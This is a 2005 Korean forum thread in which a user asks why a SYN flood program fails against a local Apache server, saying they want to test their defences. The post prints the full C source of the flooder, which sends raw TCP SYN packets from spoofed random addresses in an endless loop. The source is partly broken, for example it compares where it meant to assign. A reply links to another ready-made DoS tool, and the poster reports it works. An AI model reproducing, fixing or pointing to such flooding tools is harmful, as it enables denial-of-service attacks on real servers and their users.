syn flooding 공격소스인데 왜 안되는지 아시는분 도와주세요
글쓴이: einsok / 작성시간: 일, 2005/11/13 - 12:47오전
막는거 테스트 해보려고 구한 소스인데요.
처음에 컴파일이 안되서 보니 tcphdr의 필드가 실제로 없는걸 참조하는 부분이 있어서 makepacket함수에서
tcp->syn = 1;
tcp->window = htons(65535);
이렇게 고쳐서 컴파일 해봤더니 실행은 되는데
로컬에서 아파치를 돌리고
./funk 0 127.0.0.1 80 80
등으로 실행시켜 공격을 해봐도 아무 영향이없고
netstat -na | grep SYN 등으로 봐도 아무패킷도 안보이네요.
공격소스까지 자세히 파고들 시간은 없고 ㅠ.ㅠ
어느부분이 잘못됬는지 아시는 분 도움부탁드립니다.
그리고 neptune등 packetstome에서 구한 synflooding소스들은 오래되서 그런지 컴파일도 안되고 설치도 안되고 그러던데 쉽게 syn flooding공격 테스트해볼 소스 어디서 구할 수 있는지 아시는 분 도와주시면 감사하겠습니다.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <time.h> #include <strings.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in_systm.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <netdb.h> #include <limits.h> #define BLEH(n) htons(n) #define PACKETSIZE (sizeof(struct ip) + sizeof(struct tcphdr)) struct ip *ip; struct tcphdr *tcp; struct sockaddr_in s_in; u_char packet[PACKETSIZE]; int get; u_long source,target; void usage(char *name) { printf("\nUsage: %s <source addr> <destination> <lowport> <highport>\n",name); printf("if source=0, source address will be random\n\n"); exit(1); } u_long getaddr(char *hostname) /* Generic function, not my own */ { struct hostent *hp; if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Could not resolve %s.\n", hostname); exit(1); } return *(u_long *)hp->h_addr; } u_short in_cksum(u_short *addr, int len) /* function is from ping.c */ { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer =0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } void makepacket(void) /* Thanks Richard Stevens, R.I.P. */ { memset(packet, 0 , PACKETSIZE); ip = (struct ip *)packet; tcp = (struct tcphdr *) (packet+sizeof(struct ip)); ip->ip_hl = 5; ip->ip_v = 4; ip->ip_tos = 0; ip->ip_len = BLEH(PACKETSIZE); ip->ip_off = 0; ip->ip_ttl = 40; ip->ip_p = IPPROTO_TCP; ip->ip_dst.s_addr= target; tcp->syn = 1; tcp->window = htons(65535); s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = target; } void kill(u_int dstport) { if (source==0) ip->ip_src.s_addr = random(); else ip->ip_src.s_addr = source; ip->ip_id = random(); tcp->source = random(); tcp->dest = htons(dstport); tcp->seq = random(); tcp->ack_seq = random(); tcp->check = in_cksum((u_short *)tcp, sizeof(struct tcphdr)); ip->ip_sum = in_cksum((u_short *)packet, PACKETSIZE); s_in.sin_port = htons(dstport); sendto(get,packet,PACKETSIZE,0,(struct sockaddr *)&s_in,sizeof(s_in)); //usleep(1000000); /* Debug */ printf("Packet seded??\n"); } int main(int argc, char *argv[]) { int low,high,port; system("clear"); if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } if ((argc < 5) || (argc > 6)) usage(argv[0]); system("clear"); printf("\nflooding target. control-c to terminate\n",target); fflush(stdout); if (atoi(argv[1])==0) source=0; else source=getaddr(argv[1]); target = getaddr(argv[2]); low = atoi(argv[3]); high = atoi(argv[4]); if (low > high) { printf("low>high \n"); exit(1); } if (low==high) { makepacket(); for (;;) { srandom(time(NULL)); port==low; kill(port); } return 0; } makepacket(); for (;;) { srandom(time(NULL)); for(port = low; port <=high; port++) kill(port); } return 0; }
Forums:
http://packetstormsecurity.nl/DoS/juno.c
http://packetstormsecurity.nl/DoS/juno.c
오!! 감사합니다.
왜 이소스는 못봤을까..;; 잘되네요 감사..
댓글 달기